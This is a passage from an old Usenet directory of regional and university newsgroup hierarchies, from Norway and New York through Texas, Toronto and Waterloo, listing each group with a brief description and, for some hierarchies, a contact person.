+nmsu.unix.questions the novice's home for unix questioning + +No +-- +Newsgroups in Norway, mostly in Norwegian. For more information, you +can try contacting Bjorn Larsen . + +no.c Discussion of the C programming language. +no.general Items of general interest in Norway. +no.kjemi Chemistry. +no.net Discussion of network related things. +no.nuug Forum for the Norwegian Unix Users Group. +no.sources.list Announcements of new, available software. +no.sources.wanted Requests for software. +no.test Testing the Norwegian News network. +no.unix Discussion of the UNIX operating system. +no.x Discussions of the X Window System from MIT. + +Nordunet +-------- +Newsgroups for the Nordic University Net (Universities in Sweden, +Norway, Denmark, Finland, and possible Iceland?). For more +information, you can try contacting d9bertil@dtek.chalmers.se. + +nordunet.apple-ip ?? +nordunet.doc documentation?? +nordunet.ds ?? +nordunet.followup followups +nordunet.general general +nordunet.ietf ?? +nordunet.nucc Nordic Universities Computer Clubs +nordunet.sources sourcecode +nordunet.sources.list list of ditto + +North +----- +Newsgroups in some unknown place. These might be in Germany. + +north.market + +Nwu +--- +Newsgroups in some unknown place. This may be Northwestern University +in Chicago, Illinois, USA. + +nwu.general Items of general interest in ??. + +Ny +-- +Newsgroups in New York, USA (for all of New York state - not just the +City). + +ny.config USENET Configuration in New York. +ny.forsale Things for sale in NY. +ny.general Items of general interest in New York. +ny.nysernet Discussions about NY State Educ. Research Network. +ny.nysernet.maps NYSERNet maps. +ny.nysernet.nysertech NYSERNet related information. +ny.politics Politics in New York. +ny.seminars Seminars in New York. +ny.test USENET news testing in New York. +ny.wanted New York want ads. + +Nyc +--- +Newsgroups in some unknown place. This may be New York City. + +nyc.announce Announcements in ?? +nyc.general Items of general interest in ?? +nyc.test Testing in ?? + +Nynex +----- +Newsgroups in some unknown place. + +nynex.trd.eslab + +Nz +-- +Newsgroups in New Zealand. For more information, you can try +contacting Mark Davies . + +nz.archives Announcements of available software. +nz.arts Discussion on the Arts. +nz.comp Computing and computers. +nz.general General information, announcements, etc +nz.molbio Molecular Biology. +nz.netstatus Status of local & international net links +nz.rec Recreation. +nz.soc Social issues. +nz.soc.green Environmental issues. +nz.wanted Requests for sources, information, ... + +Oau +--- +Newsgroups in Orlando, Florida, USA. + +oau.news Orlando FL news + +Oc +-- +Newsgroups in Orange County, California, USA. + +oc.acm Orange County, CA ACM related information. +oc.general Items of general interest in Orange County, CA. +oc.test Testing in Orange County, CA. + +Oh +-- +Newsgroups in Ohio, USA. + +oh.chem +oh.general Items of general interest in Ohio, USA. +oh.osc.software + +Ok +-- +Newsgroups in Oklahoma, USA. For more information, you can try +contacting Mark Lawrence . + +ok.general Items of general interest in Oklahoma, USA. + +Ont +--- +Newsgroups in Ontario, Canada. + +ont.archives Archives in Ontario, Canada. +ont.conditions +ont.events Ontario, Canada happenings. +ont.followup Followups in Ontario, Canada. +ont.general Items of general interest in Ontario, Canada. +ont.jobs Jobs in Ontario, Canada. +ont.micro Microcomputer related postings in Ontario, Canada. +ont.sf-lovers Science Fiction Lovers in Ontario, Canada. +ont.singles Singles in Ontario, Canada. +ont.test Testing in Ontario, Canada. +ont.uucp UUCP related postings in Ontario, Canada. + +Or +-- +Newsgroups in Oregon, USA. + +or.forsale Oregon want ads. +or.general Items of general interest in Oregon. +or.test Testing in Oregon. + +Ott +--- +Newsgroups in Ottawa, Canada. + +ott.general Items of general interest in Ottawa, Canada. +ott.events Events in Ottawa, Canada. + +Pa +-- +Newsgroups in Pennsylvania, USA. For more information, you can try +contacting Mark Weber or . + +pa.config USENET configuration for Pennsylvania +pa.forsale Items for sale in Pennsylvania. +pa.general Items of general interest in Pennsylvania. +pa.test USENET testing in Pennsylvania. +pa.wanted Items wanted in Pennsylvania. + +Pdx +--- +Newsgroups in Portland, Oregon, USA. For more information, you can try +contacting Jeff Beadles or Doug Grant +. + +pdx.books Information about various books. +pdx.computing Computing information. +pdx.forsale Stuff for sale. +pdx.games Talk about games. +pdx.general General discissions +pdx.golf Talk regarding golf. +pdx.movies Talk regarding movies. +pdx.music Talk regarding music. +pdx.online On-line information. (BBS's, Usenet access, etc.) +pdx.running Running information. +pdx.singles Singles information. +pdx.slug Sun Users group. +pdx.soc Social events in Portland, Or. +pdx.sports Sports in Portland, Or. +pdx.telecom Issues regarding telecommunications. +pdx.test Tests. +pdx.utek Discissions regarding UTek, the Tektronix implimention of Unix. + +Pgh +--- +Newsgroups in Pittsburgh, Pennsylvania, USA. + +pgh.food Food in Pittsburgh. +pgh.general Items of general interest in Pittsburgh. +pgh.next-users NeXT Users in Pittsburgh. +pgh.test Testing in Pittsburgh. + +Phl +--- +Newsgroups in the Philadelphia, Pennsylvania, USA region, which includes +northern Delaware and southern New Jersey. For more information, you can +try contacting Mark Weber or . + +phl.announce Announcements of general interest in Philadelphia +phl.config USENET configuration for Philadelphia +phl.dance Dance events, reviews and discussions +phl.food Restaurant information and reviews +phl.forsale Items for sale in Philadelphia +phl.misc Miscellaneous postings +phl.music Musical events, reviews and discussions +phl.outdoors Outdoor recreation - camping, hiking, parks +phl.sports Sporting events and discussions +phl.test USENET testing in Philadelphia +phl.theatre Theatre events, reviews and discussions +phl.wanted Items wanted in Philadelphia + +Pnw +--- +Newsgroups in the Pacific Northwest, Oregon/Washington, USA. For more +information, you can try contacting Jeff Beadles . + +pnw.forsale Things for sale. +pnw.general General information. +pnw.news General news issues. +pnw.sys.sun Sun users. +pnw.test Your vanilla test group. + +Princeton +--------- +Newsgroups at Princeton University, in New Jersey, USA. For more +information, you can try contacting usenet@princeton.edu. + +princeton.general Items of general interest to Princeton. +princeton.grad Graduates of Princeton. + +Purdue +------ +Newsgroups at Purdue University. For more information, you can try +contacting news@cc.purdue.edu, news@cs.purdue.edu, and/or +news@ecn.purdue.edu. + +purdue.arpa-bboard Items forwarded from the Arpanet bboards. +purdue.cc.amiga Amiga computer discussion +purdue.cc.consult For the PUCC consulting staff. +purdue.cc.consult.subs Substitutions requests, etc. for PUCC consultants. +purdue.cc.eta Announcement about the ETA-10P at PUCC +purdue.cc.general Items of interest for all PUCC hosts. +purdue.cc.info-205 Discussion and information about the CDC Cyber 205. +purdue.cc.log.hardware PUCC hardware changes +purdue.cc.log.unix Logging of Unix system and program changes at PUCC +purdue.cc.log.vm IBM system software changes at PUCC +purdue.cc.log.vsos Cyber 205 software changes at PUCC +purdue.cc.log.wkst Workstation lab software and hardware log at PUCC +purdue.cc.news Announcements of system and program changes at PUCC. +purdue.cc.newsletter Electronic publication of the PUCC newsletter (Moderate +d) +purdue.cc.pclrc PUCC Personal Computer Learning Resource Center. +purdue.cc.s Discussion about the "S" statistical analysis system +purdue.cc.suggest Responses to suggestions and comments. (Moderated) +purdue.cc.test Testing PUCC connections. +purdue.cc.tex Discussion and information about the TeX system +purdue.cs Items of interest to all CS hosts. +purdue.cs.acm Association for Computing Machinery +purdue.cs.bboard CS department bulletin board. +purdue.cs.news Announcements of system and program changes at CS. +purdue.cs.seminar Announcements of seminars and colloquia at CS. +purdue.cs.test Testing CS connections. +purdue.dov Information on Data-Over-Voice technology +purdue.ecn.aae Aero department announcements. +purdue.ecn.asce American Society of Civil Engineers +purdue.ecn.general Items of interest to all ECN hosts. +purdue.ecn.news Logging of Unix system and program changes. +purdue.ecn.seminar Announcements of seminars and colloquia in engineering. +purdue.ecn.test ECN news connection testing. +purdue.forsale Advertisements for items for sale +purdue.framemaker Discussion of FrameMaker software +purdue.general Items of interest for all Purdue sites. +purdue.networks Information and discussion about networking issues. +purdue.news Announcements of system and program changes at Purdue. +purdue.next Discussions and information about NeXT computers. +purdue.psych Psychology department announcements +purdue.seminar Purdue area seminar and colliquia announcements. +purdue.test Testing Purdue connections. +purdue.unix Questions and answers about unix systems. +purdue.windows General discussion of windowing systems +purdue.windows.news Discussion of the NEWS windowing system +purdue.windows.sun Discussion of the Sun windowing system +purdue.windows.x Discussion of the X windowing system + +Qtp +--- +Newsgroups in some unknown place. + +qtp.bulletin +qtp.general + +Rpi +--- +Newsgroups at Rensselaer Polytechnic Institute, in Troy, New York, +USA. For more information, you can try contacting David C Lawrence +. + +rpi.acm RPI Chapter of the Association for Computing Machinery +rpi.announce RPI Announcements of general interest +rpi.arts.animation Animation fans at Rennselaer. +rpi.beta-test.nim Discussion and reports of NIM Version 4 +rpi.courses.ai Material related to the Introduction to AI course. +rpi.courses.compiler-design CS compiler design course. +rpi.cs RPI Computer Science Dept. +rpi.cs.grads For graduates in CS. +rpi.cs.lab Announcements about software/hardware changes. +rpi.cs.labcom The CS lab committee. +rpi.culture.indian For the Asian-Indian population at RPI. +rpi.ecs RPI Engineering Computing Systems Dept. +rpi.email Electronic Mail at Rensselaer. +rpi.forsale Items wanted and offered around campus. +rpi.general General RPI-wide discussions. +rpi.gnu GNU software at RPI. +rpi.ipl News and information about the ECSE Image Processing Lab. +rpi.its Information Technology Services. +rpi.net-eng The Network Engineering Task Force. +rpi.net-eng.announce Annoucements from the NETF. (Moderated) +rpi.news USENET News at RPI. +rpi.rdrc Rensselaer Development Research Center. +rpi.rumor Thoughts and Ideas about the future and present. +rpi.suns Sun computers on campus. +rpi.talk General social discussion. +rpi.test For testing USENET. +rpi.text.tex The TeX text processing language. +rpi.windows.x X Window System on Rensselaer machines. + +Sac +--- +Newsgroups in Sacramento, CA, USA. For more information, you can try +contacting Eric NiHill . + +sac.general General talk group. +sac.swap Sacramento For-Sale group. +sac.test Test Posting Group. + +Sat +--- +Newsgroups in San Antonio, Texas, USA. For more information, you can +try contacting Bruce Andreen . + +sat.announce General announcements of interest in San Antonio. +sat.general Items of general interest in San Antonio. +sat.misc Miscellaneous postings in San Antonio. +sat.sources Sources in San Antonio. +sat.test Testing in San Antonio. + +Scot +---- +Newsgroups in some unknown place. + +scot.general + +Scruz +----- +Newsgroups in Santa Cruz, California, USA. + +scruz.events Events in Santa Cruz. +scruz.general Items of general interest in Santa Cruz, California. + +Sdnet +----- +Newsgroups in San Diego, California, USA. + +sdnet.cerfnet CerfNet issues in San Diego, California. +sdnet.eats Things to eat in San Diego, California. +sdnet.forsale Things for sale in San Diego, California. +sdnet.general Items of general interest in San Diego, California. +sdnet.jobs Jobs in San Diego, California. +sdnet.talks Talks in San Diego, California. +sdnet.test USENET Testing in San Diego. +sdnet.wanted Items wanted in San Diego, California. + +Seattle +------- +Newsgroups in Seattle, Washington, USA. + +seattle.general Items of general interest in Seattle, Washington + +Sfnet +----- +Newsgroups in Sweden. For more information, you can try contacting +Petri Ojala . sfnet.lists.* are imported mailing lists +are are not distributed outside of Sweden. + +sfnet.akat.mtuki +sfnet.aloittelijoille Uusien uutistenk{ytt{jien foorumi +sfnet.atk ATK-alan yleisk{ytt|inen p{{ryhm{ +sfnet.atk.amiga Commodore Amiga mikrotietokoneen k{ytt{j{t +sfnet.atk.atari Atari mikromikrotietokoneen k{ytt{j{t +sfnet.atk.cpm CP/M-k{ytt|j{rjestelm{n k{ytt{j{t +sfnet.atk.kerhot ATK-alan kerhojen yhteyskanava +sfnet.atk.korkeakoulujen-mikrotuki Korkeakoulujen mikrotukikeskuksen tiedotuskanava +sfnet.atk.laitteet Kovosta kiinnostuneiden rautaista keskustelua +sfnet.atk.mac Apple Machintosh k{ytt{j{t +sfnet.atk.minix Minix k{ytt|j{rjestelm{n harrastajat +sfnet.atk.ms-dos MS-DOS mikrojen k{ytt{j{t +sfnet.atk.tex TeX ladontaj{rjestelm{n asiantuntijoiden foorumi +sfnet.atk.unix Unix k{ytt|j{rjestelm{n k{ytt{j{t +sfnet.atk.vm IBM VM/SP CMS k{ytt|j{rjestelm{n k{ytt{j{t +sfnet.atk.vms DEC VMS k{ytt|j{rjestelm{n k{ytt{j{t +sfnet.csc TLP:n kyselykanava +sfnet.csc.tiedotukset TLPn tiedotuskanava (Moderated) +sfnet.funet.tiedotukset FUNETin tiedotuskanava (Moderated) +sfnet.fuug.tiedotukset FUUGin tiedotuskanava (Moderated) +sfnet.fysiikka +sfnet.harrastus Sekalaisia harrastuksia +sfnet.harrastus.astronomia T{htitieteen harrastajille (Moderated) +sfnet.harrastus.autot tiell{liikkujien keskustelukanava +sfnet.harrastus.dx-kuuntelu +sfnet.harrastus.ham Radioamat||ritoiminnasta keskustelua +sfnet.harrastus.ham.info Tiedotteita radioamat||reille (Moderated) +sfnet.harrastus.kulttuuri Kulttuurinharrastajien keskustelukanava +sfnet.harrastus.kulttuuri.sf Science Fiction harrastajat +sfnet.harrastus.partio +sfnet.harrastus.retkeily Retkeily ja vaellus +sfnet.harrastus.ruoka+juoma Kulinaristien kohtauspaikka +sfnet.harrastus.sf +sfnet.harrastus.veneet Veneilynharrastajien oma kanava +sfnet.ieee IEEE:n Suomen osaston tiedoituskanava +sfnet.juoru +sfnet.keskustelu Sana on vapaa +sfnet.keskustelu.evoluutio Keskustelua evoluutiosta +sfnet.keskustelu.filosofia Filosofiasta kiinnostuneille +sfnet.keskustelu.huumori Kevennyst{ keskusteluun +sfnet.keskustelu.politiikka Yhteinen kanava yhteisille asioille +sfnet.keskustelu.uskonto Uskokaa tai {lk{{ +sfnet.keskustelu.uskonto.evoluutio +sfnet.keskustelu.varaventtiili Liikojen h|yryjen purkupaikka +sfnet.keskustelu.vitsit +sfnet.keskustelu.yhteiskunta Yhteinen kanava yhteisille asioille +sfnet.maantiede +sfnet.matkustaminen Matkakertomuksia ja vihjeit{ +sfnet.opiskelu Yleist{ keskustelua opiskelusta +sfnet.opiskelu.sospsyk Sosiaalipsykologian opiskelijat +sfnet.ruoka+juoma +sfnet.ryhmat +sfnet.sorsat +sfnet.sources +sfnet.tapahtumat Yleinen valtakunnallinen tapahtumakalenteri +sfnet.test Testiryhm{ uutisten toiminnan testaukseen yll{pit{jille +sfnet.tiede Tieteenharjoittajien poikkitieteellinen p{{ryhm{ +sfnet.tiede.arkeologia Arkeologian tiedotus- ja keskustelukanava +sfnet.tiede.fysiikka Fyysikkojen keskustelukanava +sfnet.tiede.hahmontunnistus Hahmontunnistajien keskustelukanava +sfnet.tiede.kemia +sfnet.tiede.kielitiede Kielitieteilij|iden keskustelukanava +sfnet.tiede.kirjastot Tieteelliset kirjastot +sfnet.tiede.kulttutk Kulttuurien tutkimus ja jatkokoulutus +sfnet.tiede.maantiede Maantieteilij|iden keskustelufoorumi +sfnet.tiede.matematiikka Matemaatikot keskustelemassa +sfnet.tiede.nonlinear Foorumi ep{lineaaristen ilmi|iden tutkijoille +sfnet.tiede.tietotekniikka Tietotekniikan tieteenharjoittajat +sfnet.tiede.tietotekniikka.tohtorix Tietotekniikan jatkokoulutus +sfnet.tiede.tilastotiede Tilastotieteilij|iden avoin keskustelukanava +sfnet.tiede.tilastotiede.jatkokoulutus jatkokoulutusohjelma (Moderated) +sfnet.tiede.yt +sfnet.tiede.yt.info YT-INFO Yhteiskuntatieteilij|iden tapahtumakalenteri +sfnet.tiede.yt.kurssit YT-KURSS Sosiaalitieteiden jatkokoulutuskurssit +sfnet.tiede.yt.kvaltut YT-KVALI kvalitatiivisesta tutkimuksesta +sfnet.tiede.yt.laitokset YT-LAITO Sosiaalitieteiden jatkokoulutuslaitoksien esittely{ +sfnet.tiede.yt.metodit YT-METOD kvantitatiiviset menetelm{t +sfnet.tiede.yt.yleis YT-YLEIS Yhteiskuntatieteilij|iden Vapaa Sana +sfnet.tietoliikenne Tietoliikenteen keskustelu foorumi +sfnet.tietoliikenne.juoru +sfnet.tietoliikenne.katko Tietoa tietoliikenteen katkoista +sfnet.tietoliikenne.palvelimet Verkkojen julkiset palvelimet eli serverit +sfnet.tietoliikenne.ryhmat+listat Uudet ryhm{t ja listat +sfnet.tietoliikenne.tekniikka Tekninen verkkogurujen kohtauspaikka +sfnet.tietoliikenne.viestinviejat Viestien jakelukanavien yll{pito +sfnet.tohtorix +sfnet.tori Myynti, osto, vaihto, vuokraus ja lahjoitusilmoituksia +sfnet.uskonto.evoluutio +sfnet.yt +sfnet.yt.test + +Slo +--- +Newsgroups in some unknown place. + +slo.stats + +Srcext +------ +Newsgroups in some unknown place. + +srcext.m3 + +Stgt +---- +Newsgroups in some unknown place. These may be in Germany. + +stgt.general + +Stl +--- +Newsgroups in St. Louis, Missouri, USA. + +stl.general General interest items for St. Louis sites. +stl.jobs St. Louis job information. +stl.news St. Louis USENET information. +stl.rec St. Louis recreational information. +stl.test Testing in St. Louis. + +Sub +--- +Newsgroups in Germany, all in German. For more information, you can +try contacting Matthias Urlichs . + +sub.boerse Infos zu & Diskussion ueber Geld & Anlagen. +sub.config SUB-Net Konfiguration: Neue Gruppen, neue Sites, etc. +sub.config.lists Fuer Statistiken (Moderated) +sub.config.maps Mapdaten fuer Pathalias (Moderated) +sub.databases Diskussion ueber Datenbanken +sub.games Spiele +sub.gateways News- und Mail-Gateways zu anderen Netzen. +sub.general Allgemeine Themen, insbesondere zum SUB-Netz +sub.gnu Diskussion ueber GNU's Not Unix-Software. +sub.jokes Witze etc. +sub.jokes.d Diskussion ueber Witze. +sub.kultur Kulturelle Themen +sub.lists Kurze und lange Listen zu allen Themen. +sub.mag.chalisti Chalisti-Magazin (Moderated) +sub.mag.chalisti.d Diskussion ueber Artikel in der Chalisti. +sub.mail Adressierungs- und andere Mailprobleme. +sub.market Angebote/Gesuche +sub.misc Alles, was woanders nicht hinpasst +sub.newusers Infos und periodische Postings fuer neue User. (Moderated) +sub.org.auge Mitteilungen des AUGE e.V. +sub.org.ccc Mitteilungen des CCC e.V. +sub.org.sub Fuer Mitteilungen des sub-Netz e.V. (Moderated) +sub.os.minix Minix-Betriebssystem +sub.os.misc Diverse Betriebssysteme (z.B. MVS, RTOS) +sub.os.os9 OS-9/68000 +sub.os.unix Fragen&Antworten zu Unix-Systemen (nicht Xenix). +sub.os.vms VAX/VMS +sub.os.xenix Fragen&Antworten zu Xenix-Systemen. +sub.politik Politische Diskussionen +sub.security Diskussion sicherheitsrelevanter Thenem +sub.sex Dreimal duerft ihr raten... +sub.sources.amiga Programme fuer den Amiga (Moderated) +sub.sources.d Sources-Diskussion, auch fuer Anfragen nach Software +sub.sources.misc Programme fuer MS-DOS, TOS, VMS etc. (Moderated) +sub.sources.os9 Programme fuer OS-9/68000 (Moderated) +sub.sources.st Programme fuer den Atari ST (Moderated) +sub.sources.unix Programme fuer UNIX/XENIX (Moderated) +sub.studium Diskussion Studium, Studienbedingungen usw +sub.sys.amiga Commodore Amiga +sub.sys.apple Apple II/Macintosh +sub.sys.ibm IBMs und kompatible +sub.sys.misc diverse Systeme +sub.sys.st Atari ST +sub.test Fuer Superschachteln und andere wichtige Tests +sub.tex Diskussion um und Codeschnipsel fuer TeX. +sub.umwelt Infos zu und sachliche Diskussion ueber Umweltfragen. +sub.verkehr Autos sowie umweltfreundlichere Verkehrsmittel. + +Swnet +----- +Newsgroups for the SUNET (Swedish University Net, subdivision of +NORDUNET). For more information, you can try contacting Bj|rn Eriksen +. + +swnet.conferences about conferences +swnet.followup followups +swnet.general general +swnet.info-gnu ?? +swnet.jobs help wanted :-) +swnet.lans ?? +swnet.lans.novell ?? +swnet.mail mail admin +swnet.mail.map mail map?? +swnet.politik Bitching about taxes +swnet.pryltorg (misc for sale) +swnet.snus probably bogus (snus is tobacco that is chewed YUCC!) +swnet.sources source code +swnet.sources.list list of ditto +swnet.sunet-info info about SUNET +swnet.sys.amiga for those who have an amiga +swnet.sys.dec or dec +swnet.sys.dnix or ?? (unix clone??) +swnet.sys.hp or hp +swnet.sys.ibm.pc or IBM PC +swnet.sys.mac or Mackintosh +swnet.sys.ncr or ?? +swnet.sys.pyramid or ?? +swnet.sys.sun or Sun +swnet.test test messages +swnet.thermo +swnet.unix unix in general +swnet.wanted wanted ads. + +Tba +--- +Newsgroups in the Tampa Bay Area of Florida, USA. + +tba General +tba.tuug Tampa UNIX Users Group + +Tn +-- +Newsgroups in Tennessee, USA. + +tn.flame Flames in Tennessee. +tn.msdos Discussion of DOS related issues in Tennessee. +tn.talk Talk in Tennessee. +tn.test USENET Testing in Tennessee. +tn.unix Discussion of issues related to unix in Tennessee. + +Tor +--- +Newsgroups in Toronto, Ontario, Canada. + +tor.general Items of general interest in Toronto, Canada. +tor.jobs Jobs in Toronto. +tor.news USENET in Toronto, Canada. +tor.news.stats USENET Statistics in Toronto, Canada. +tor.test Testing in Toronto, Canada. + +Triangle +-------- +Newsgroups at Research Triangle in North Carolina, USA (defacto all of +North Carolina). For more information, you can try contacting Gregory +G. Woodbury . + +triangle.csnet ?? +triangle.forsale NC Want ads +triangle.general general discussion in NC +triangle.graphics NC Chapter of Natl Computer Graphics Assn +triangle.jobs Jobs offered and wanted in NC +triangle.libsci Notes of interest to libraries in NC +triangle.sun reposts of Sun-Spots digest and SLUG in NC +triangle.systems NC system admin notices +triangle.talks Seminars and conferences notices in NC +triangle.vlsi ?? +triangle.wizards local Cybermancers and friends in NC + +Tub +--- +Newsgroups in some unknown place. + +tub.general +tub.wanted + +Tue +--- +Newsgroups at the Eindhoven University of Technology in the +Netherlands. Conversation is usually in Dutch, sometimes in English. + +tue.misc Miscellaneous discussions of local (Eindhoven) interest. +tue.test Test messages for tuenet (Eindhoven University of Technology). + +Tut +--- +Newsgroups at Tampere University in Finland. + + + +Tx +-- +Newsgroups in Texas, USA. For more information, you can try contacting +Fletcher Mattox or Mark Linimon +. + +tx.evolution.vs.abortion +tx.flame Texas flames. +tx.followup Followups in Texas. +tx.general Items of general interest in Texas. +tx.jobs Jobs in Texas. +tx.maps (Moderated) +tx.news USENET in Texas. +tx.politics Politics in Texas. +tx.test Testing in Texas. +tx.wanted Texas want ads. + +Uberlin +------- +Newsgroups in some unknown place. + +uberlin.general + +Uc +-- +Newsgroups at the University of California, in California, USA. + +uc.general Items of general interest at the University of California. +uc.motss Issues pertaining to homosexuality at Univ of California. +uc.news University of California news. +uc.test Testing for University of California. + +Ucb +--- +Newsgroups in some unknown place. This seem to be at the University of +California at Berkeley. + +ucb.housing Housing at UCB. +ucb.wanted Items wanted at UCB. + +Uch +--- +Newsgroups in some unknown place. + +uch.general + +Uchi +---- +Newsgroups at the University of Chicago, in Chicago, USA. For more +information, you can try contacting Ellen Keyne Seebacher +. + +uchi.ai Artificial intelligence at the University of Chicago. +uchi.cogsci Cognitive science at the University of Chicago. +uchi.cs-news.. Computer science newsgroups at the University of Chicago. +uchi.emacs Emacs discussions at the University of Chicago. +uchi.general Items of general interest at the University of Chicago. +uchi.jobs Jobs newsgroups (discussion, ads, resumes) at the University of Chicago. +uchi.mac Macintosh discussions at the University of Chicago. +uchi.sun SUN computers of all types at the University of Chicago. +uchi.supercomputing Supercomputing discussions at the University of Chicago. +uchi.talks Visiting lecturers at the University of Chicago. +uchi.test Test postings at the University of Chicago. +uchi.tex TeX discussions at the University of Chicago. + +Udel +____ +Newsgroups at the University of Delaware, in Delaware, USA. + +udel.mlists Mailing lists from udel. + +Uiuc +---- +Newsgroups in some unknown place. These seem to be at the University of +Illinois at Urbana. + +uiuc.classifieds Ads at ?? +uiuc.cs.general CS Dept general interest items?? +uiuc.general Items of general interest in ?? +uiuc.gourmand Cooking at ?? +uiuc.test Testing in ?? + +Uk +-- +Newsgroups in the United Kingdom. For more information, you can try +contacting uknet@ukc.ac.uk. + +uk.announce Announcements of UK wide interest. +uk.events Forthcoming events (conferences etc). +uk.ikbs Discussion of Intelligent Knowledge Based Systems. +uk.jips Discussion about JANET IP service matters. (Moderated) +uk.jobs Situations vacant and wanted. +uk.lisp Discussion of LISP; especially the draft standard. +uk.misc General interest to everyone on UKnet. +uk.net.maps UKnet maps. +uk.net.news UKnet news. +uk.politics UK political discussion. +uk.sources UK wide group for sources/reposts/requests. +uk.test UK wide tests. +uk.wic Discussion of Women in Computing. + +Upenn +----- +Newsgroups at the University of Penn. For more information you can try +contacting Rich Kulawiec . + +upenn.announce Announcements of network related events. +upenn.cis.colloq Colloquia announcements for CIS. +upenn.cis.general General information and announcements for CIS. +upenn.cis.grad General information and announcements for grad students in CIS. +upenn.cis.graphics Discussions on computer graphics. +upenn.cis.grasp GRASP lab announcements and discussions. +upenn.cis.grasp.robot GRASP robot users discussion. +upenn.cis.sml Discussion mailing list on standard ML. +upenn.cis.wpe Written preliminary (PhD) exam discussion. +upenn.cogsci Cognitive science announcements and discussion. +upenn.ee General information and announcements for EE. +upenn.ee.cad VLSI development tools. +upenn.ee.vlsi Discussion on VLSI research and instruction for EE. +upenn.forsale Items for sale. +upenn.general General announcements and discussions. +upenn.itg Penn's Interactive Technology Group. +upenn.ling.general General information and announcements (linguistics). +upenn.macintosh Discussions on the Macintosh computer system. +upenn.maxvideo Discussions on the Maxvideo image processing system. +upenn.neural-nets Announcements and discussions on neural networks. +upenn.newgroups Local group creation messages. +upenn.next Discussions on the NeXT computer system. +upenn.psych.general General information and announcements (psychology). +upenn.seas.eniac Announcements concerning the operation of eniac.seas.upenn.edu for SEAS. +upenn.seas.general General information and announcements for SEAS. +upenn.seas.gseg Graduate Student Engineering Group information and announcements for SEAS. +upenn.systems.grad General information and announcements for graduate students in Systems. +upenn.test Software testing. +upenn.testm Software testing. + +Ut +---- +Newsgroups at the University of Texas, in Texas, USA. For more +information, you can try contacting Fletcher Mattox +. (Note: there is a namespace collision with +ut.* at the University of Toronto in Toronto, Ontario, Canada). + +ut.ai Artificial intelligence at UTexas. +ut.bizarre Bizarre happenings at UTexas. +ut.flame Flames at UTexas. +ut.followup Followups to ut.general. +ut.general Items of general interest at UTexas. +ut.jobs Job offerings and jobs wanted at UTexas. +ut.stardate Stardates from MacDonald Observatory. +ut.test Test postings at UTexas. +ut.text Text processing at UTexas. + +Ut +-- +Newsgroups at University of Toronto, in Toronto, Ontario, Canada. +(Note: there is a namespace collision with ut.* at the University of +Texas, in Texas, USA). + +ut.16k Discussions on the National Semi 16000 series CPU. +ut.chinese University of Toronto Chinese community. +ut.dcs.ai Artificial Intelligence at the University of Toronto. +ut.dcs.cscw Computer Supported Cooperative Work. +ut.dcs.dbois Data Base / Office Information Systems. +ut.dcs.general General messages from UofT Dept. of Computer Science. +ut.dcs.gradnews Info for Graduates. +ut.dcs.graphics Graphics. +ut.dcs.hci Human-Computer Interaction. +ut.dcs.na Numerical Analysis. +ut.dcs.seminars Seminars. +ut.dcs.systems Systems. +ut.dcs.theory Theory. +ut.ee Electrical Engineering. +ut.ee.ieee IEEE in EE. +ut.general General messages. +ut.software.tex Use of TeX at University of Toronto. +ut.software.x-windows Three guesses. +ut.supercomputer Pray for the Cray. +ut.test Test messages. +ut.unix.sysadmin System Administration of Unix sites at U. of Toronto. +ut.unix.user Information for Unix users. +ut.vlsi Big Iron. + +Utc +--- +Newsgroups at the Computer Centre that serves Electical Engineering and +some other departments at the Chalmers University of Technology, in +Gothenburg, Sweden. For more information, you can try contacting +d9bertil@dtek.chalmers.se. + +utc.info what's up on utc. + +Utcs +---- +Newsgroups at the University of Texas, Computer Science Department, in +Texas, USA. For more information, you can try contacting Fletcher +Mattox . + +utcs.general Items of general interest to UTexas CS Dept. +utcs.grad Graduate student forum at UTexas CS Dept. +utcs.graphics Computer graphics at UTexas CS Dept. +utcs.jobs Job announcements at UTexas CS Dept. +utcs.lispm Lisp users mail list at UTexas CS Dept. +utcs.projects Research projects at UTexas CS Dept. +utcs.talks Announcement of seminars and talks at UTexas CS Dept. +utcs.techreports Technical reports maintained by UTexas CS Dept. +utcs.upe UPE honor society at UTexas CS Dept. + +Uw +-- +Newsgroups at the University of Waterloo, in Waterloo, Ontario, +Canada. (Note: there are namespace collisions with uw.* at the +University of Warwick in the UK, and with uw.* the University of +Washington in Washington, USA.) + +uw.ai.learning AI stuff +uw.asplos ??? +uw.assignments for assignment coordination +uw.ccng.general Computer Communications Network Group +uw.ccng.system Computer Communications Network Group +uw.cgl Computer Graphics Lab +uw.cgl.software Computer Graphics Lab +uw.cgl.system Computer Graphics Lab +uw.cray nobody uses Crays here, do they? +uw.cs.dept Computer Science +uw.cs.eee Computer Science / Electrical Engineering +uw.cs.faculty Computer Science +uw.cs.general Computer Science +uw.cs.grad Computer Science +uw.cs.grad.topics Computer Science +uw.cs.ugrad Computer Science +uw.csc Computer Science Club +uw.dcs.courses Computing Services +uw.dcs.news Computing Services +uw.dcs.suggestions Computing Services +uw.dcs.watshine ??? +uw.dsgroup Data Structures +uw.dsgroup.misc Data Structures +uw.ee.grad Electrical Engineering +uw.fass FASS +uw.forsale Items forsale. +uw.general whatever +uw.gnu For GNU at WATERLU +uw.harmony Harmony OS +uw.icr Institute for Computer Research +uw.icr.forum Institute for Computer Research +uw.icr.hardware Institute for Computer Research +uw.image-proc Image Processing +uw.imprint Imprint, UW student newspaper +uw.jsaw For Japanese Student Association of Waterloo +uw.kin Kinesiology +uw.lang languages +uw.laurel LauRel OS +uw.library Library +uw.logic logic programming +uw.lpaig Logic programming & Artificial Intelligence Group +uw.lpaig.changes Logic programming & Artificial Intelligence Group +uw.lpaig.system Logic programming & Artificial Intelligence Group +uw.mail-list.csnet-forum mailing list +uw.mail-list.fractals mailing list +uw.mail-list.sun-managers mailing list +uw.maple Maple symbolic math software +uw.math.faculty Math Faculty +uw.math.grad Math Faculty +uw.mech.system Mechanical Engineering +uw.mfcf.bugs Math Faculty Computing Facility +uw.mfcf.gripe Math Faculty Computing Facility +uw.mfcf.hardware Math Faculty Computing Facility +uw.mfcf.people Math Faculty Computing Facility +uw.mfcf.software Math Faculty Computing Facility +uw.mfcf.suggestions Math Faculty Computing Facility +uw.mfcf.system Math Faculty Computing Facility +uw.mfcf.todo Math Faculty Computing Facility +uw.minos MINOS project +uw.msg Multiprocessor Systems Group +uw.network ??? +uw.os.research OS research +uw.pami Pattern Analysis & Machine Intelligence +uw.pami.bsd Pattern Analysis & Machine Intelligence +uw.pami.gripe Pattern Analysis & Machine Intelligence +uw.pami.system Pattern Analysis & Machine Intelligence +uw.scicom Scientific Computing +uw.sd.grad Systems Design +uw.shoshin Shoshin 